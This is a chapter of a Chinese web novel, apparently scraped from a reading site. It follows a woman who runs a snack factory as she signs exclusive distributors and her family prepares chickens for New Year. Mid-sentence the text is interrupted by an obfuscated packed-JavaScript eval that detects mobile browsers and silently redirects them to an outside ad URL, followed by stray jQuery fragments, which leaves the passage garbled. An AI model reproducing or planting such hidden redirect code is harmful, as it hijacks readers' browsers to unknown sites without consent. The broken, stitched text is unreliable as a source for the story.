192.调整策略

作品:《五旬老妇创业记

    “张老板是南方人,除南池的商贸公司外,在周边几个县也开着商贸公司,这次找上门是想拿下咱们家在这几个县的独家经销权。”


    秦文礼介绍完具体情况,胡玉凤点头表示了解,示意他继续说方案。


    “这是咱们厂第一个独家经销商,所以待遇方面肯定要比零售的优惠大。我大概有一个方向供大家参考,就是把优惠力度与付款情况挂钩,如果是现金当场结算,我们给予他批发价八五折的优惠,如果是先货后款,那就给九折优惠,你们觉得呢?”


    胡玉凤看向惠子和杨秀,示意她俩谈谈看法。


    杨秀停下笔,敏锐地抓住一个关键点:“先货后款的话,付款期限是不是得在合同里约定?”


    别跟乡政府那豆腐钱似得,说是一个季度,半年能结一次都是好的,明明是债主,每次结账偏闹得像是乞讨。


    胡玉凤面上闪过一丝赞赏:“这个肯定得约定好,我看以现在的趋势,先货后款将成为主流,咱们这次就定好规矩,以后再有之类的也有个依据。”


    秦文礼静静听了会儿道:“那就延一个周期,下一次进货的时候必须将上一次的货款全部结清?”


    惠子和杨秀都没意见,胡玉凤也点头同意。


    “至于优惠上,你提的八五折就刚好,咱们又赚头,经销商也能挣到钱,就按这个比例和他谈。”


    秦文礼点头答应。


    “还有招人这事得商量商量。”胡玉凤继续开口。


    杨秀诧异:“厂子工人不够吗?”


    转念一想,经过上个月的新闻报道,上门的客商确实如雨后春笋一茬又一茬的往外冒,供货量还真有可能赶不上需求了。


    自以为真相了,却见胡玉凤摇摇头:“不是招工人,是招管理人员。”


    “咱家目前是秀儿管着研发,惠子管着生产,其余的都是文礼一个人对接,难免有顾不过来的时候,我想着从员工里提拔也罢,从外面聘请也行,来个人分担分担。”


    这么一说大家都懂了,可懂了之后又面面相觑。


    这个人选可不简单,至少要懂管理,人品好,学历还有一定的要求,最好能写会算。在心里一扒拉,厂子里合适的是一个没有。


    “这个人不好找,也急不来,慢慢碰吧。”胡玉凤只是提出来让他们帮着留意,并没想着一下子就找到合适的。


    ……


    这日,秦文礼接到电话出了门,不一会儿领着一个满面带笑的中年男人进来。


    “妈,这是南池的张老板。”秦文礼笑着给胡玉凤介绍。


    胡玉凤赶紧起身,张老板已经热情地伸出手,胡玉凤伸手握了握。


    张老板一开口就是典型南方强调,热情道:“福老板,久仰久仰,之前托秦老板的福,有幸品尝到您家的麻花,果然和传闻中的一样美味。一直想着前来拜访,今天终于如愿啦。”


    福老板?胡玉凤忍住笑意,别说这个称呼还不错,多有福气,听着就衬她!


    胡玉凤笑着听他说完,便也不落人后道:“哪里哪里,您抬爱了。我们家这摊子能越做越大,全靠各位老板的支持,该是我感谢你才对。”


    两人一番你来我往的吹捧,才各自坐下端起茶杯进入正题。


    “福老板,我之前和秦老板提过,今天上门也是想寻求进一步合作……”


    胡玉凤笑着点头:“是,文礼跟我提过,张老板是个爽快人,能跟你合作是我们的荣幸。”


    在一阵磋商,双方定下了初步的合作方案。


    张老板是个精明的老板,深谙砍价的精髓,自诩砍价功力不俗的胡玉凤差点没能顶住他的三寸不烂之舌,也是多亏文礼心眼多,报价时在原基础上提了三个点,才没被张老板砍秃了。


    半个小时,所有的细节都敲定了,张老板痛快签了合同,胡玉凤也痛快表示第二天就可以安排装车发货。


    经此一事,也给众人打开了新思路,随着生意越做越大,再一家家送货上门开支就有些大了,还不如找些有实力的经销商包出去。


    于是翌日,胡玉凤又紧急召开关于调整产业布局的会议,会上对厂子下一阶段的目标做出了调整,主战场由分散销售转为县域经销。


    当然对于洋县的这些元老客户,还是保持他们最初的待遇不变。


    这件事情的主要负责人是秦文礼,胡玉凤协助。为什么协助呢,因为胡玉凤发现她长胖了,真的成了富态老板了,再不动一动,怕就要朝着纵向发展了。


    以前干瘦,就羡慕那胖的,可等自己胖了就发现,真是忍不了一点。


    正好临近腊月,一年一度的礼盒装也该做起来了,胡玉凤便开启了早出晚归风餐露宿的生活。


    这么说毫不夸张,因为她和文礼的坐骑是摩托,哪怕带了头盔绑了绑腿裹了棉大衣,风还是一个劲的往里钻,吹得她老太太富态的脸颊日渐干瘪下去,一照镜子,活像张饱经风霜的老树皮。


    效果嘛,还是有的。这几年裕丰麻花经历种种艰难,终于在市场上站稳了脚跟,凡是分销过的都对裕丰的产品好评连连,在他们放出南池张老板享有独家经销权的消息后,就有心思通透的上门试探。最终综合考虑下来,又收获四家独家合同。


    不过这都是之前打开了市场的县区,胡玉凤目光始终盯着那些未知区域,可惜直到目前还没有动静,要一直如此,只能年后再上门聊天了。


    这么一想胡玉凤还有些兴奋,开辟新战场什么的,可比整日盯着厂子运转有挑战。


    ……


    这一忙一直忙到腊月二十六,照例开了总结大会,发了绩效奖金,员工和老板都欢欢喜喜回家过大年。


    胡玉凤和杨秀刚到路口,就听到“汪汪……嘎……汪……喔”的鸡飞狗叫声,两人对视一眼,眼里都闪过笑意。


    这动静,除了秦生田杀鸡,再也没人闹得出来。


    也是怪了,明明很简单的杀鸡抹脖子,秦生田干起来就格外艰难,鸡头都快剁掉了,那鸡还能扑棱着飞起来。


    果不其然,一看见他们的身影,秦树就跑过来说:“奶奶,妈妈,你们可回来啦,爷爷杀鸡呢,那鸡又跑啦!”


    说着小手一指,胡玉凤就看见地上的滴滴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068935|138912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    血痕,得,好歹这次长进了,没在院子里杀。


    两人进门放下东西,换上衣服再出门,就见秦生田垂头丧气地站在门口,手里拎着同样垂头丧气的鸡。


    “爹,给我吧。”


    杨秀伸手接了过来,利索的抹脖子放血,平常能放大半碗的鸡血,今儿它一顿跳,只剩下小半碗。


    杨秀都怀疑那鸡垂头丧气哪是被逮了,明明是贫血了。


    老秦家众人都喜欢吃鸡血面,这小半碗能做多点?


    胡玉凤见状无奈,干脆撸起袖子叫上孩子再抓一只。


    秦生田表情讪讪还想帮着抓,胡玉凤没好气道:“你可别添乱了,再给放跑了咋整,去烧水拔毛。”


    秦生田顿时像得了指令的兵,嘴里答应着屁颠颠去了。


    鸡圈里,两个孩子一边伸着胳膊把鸡往窝里赶,一边对着鸡报菜谱。


    “奶奶,我喜欢大盘鸡,咱们吃大盘鸡好吗?”秦钰道。


    胡玉凤像只伺机出动的大灰狼,两眼盯着目标鸡慢慢围拢,嘴上不忘答应道:“好啊,留一半给你做大盘鸡。”


    秦树也不甘示弱:“奶,我爱喝鸡汤,能炖鸡汤吗?奶……快抓……”


    胡玉凤往前一扑,一把捏住鸡翅膀,胖鸡想扑腾却被拿住了翅膀,只能“咯咯咯”的抗议。


    胡玉凤满意笑了,“当然能,这只胖母鸡给你炖汤。”


    “奶,我还想吃排骨,猪蹄……”秦树得寸进尺。


    秦钰看了他一眼坏笑:“奶,小树还得吃猪尾巴,我爷特地要了两根,都烧好了。”


    “我不吃,你才吃猪尾巴。”秦树恼羞道。


    “我可不用,我又不像你还淌酣水……”秦钰说完就跑。


    果然小少年秦树自觉自尊被伤了,追着姐姐讨说法。


    院外传来秦钰银铃般的笑声和秦树咬牙切齿的叫喊,好似整个院子突然就从沉寂中醒来了。


    胡玉凤听着笑声,转身进了厨房。


    秦文庆家院畔,秦玲听着隔壁传来的笑闹声,拾着柴火的手顿了顿,忍不住探头看了看,眼里是掩饰不住的羡慕与落寞。


    身后,刚从厕所出来的秦森看着继姐脸上的神色,嗤笑了一声。


    “看得干啥,你活还没干完能去玩?”


    秦玲低下头,继续拾着柴火。


    秦森哼了一声,转身进去。秦玲竖起耳朵听着院子里的动静,却始终没听见秦森告状的声音。


    她心里有些复杂。秦森刚来时是个不折不扣的告状精,她妈指哪打哪,可这两年,秦森虽然依旧对她不友好,却也不怎么告状了。


    其实他也是个可怜的,后爹冷漠,亲妈疯起来连他也打,上次她就瞧见秦森抱着亲爸的腿哭着要回家,可他爸只是摸了摸他的头没有说一句话。


    发现她看见了,秦森凶狠地威胁她不要告诉他妈,其实压根不用他说,都是父母手底下受罪的小可怜,她何必呢?


    想到这秦玲心里升起一股同病相怜的感慨,随即很快消散。


    她有啥资格同情秦森呢,她可没比人家的处境好。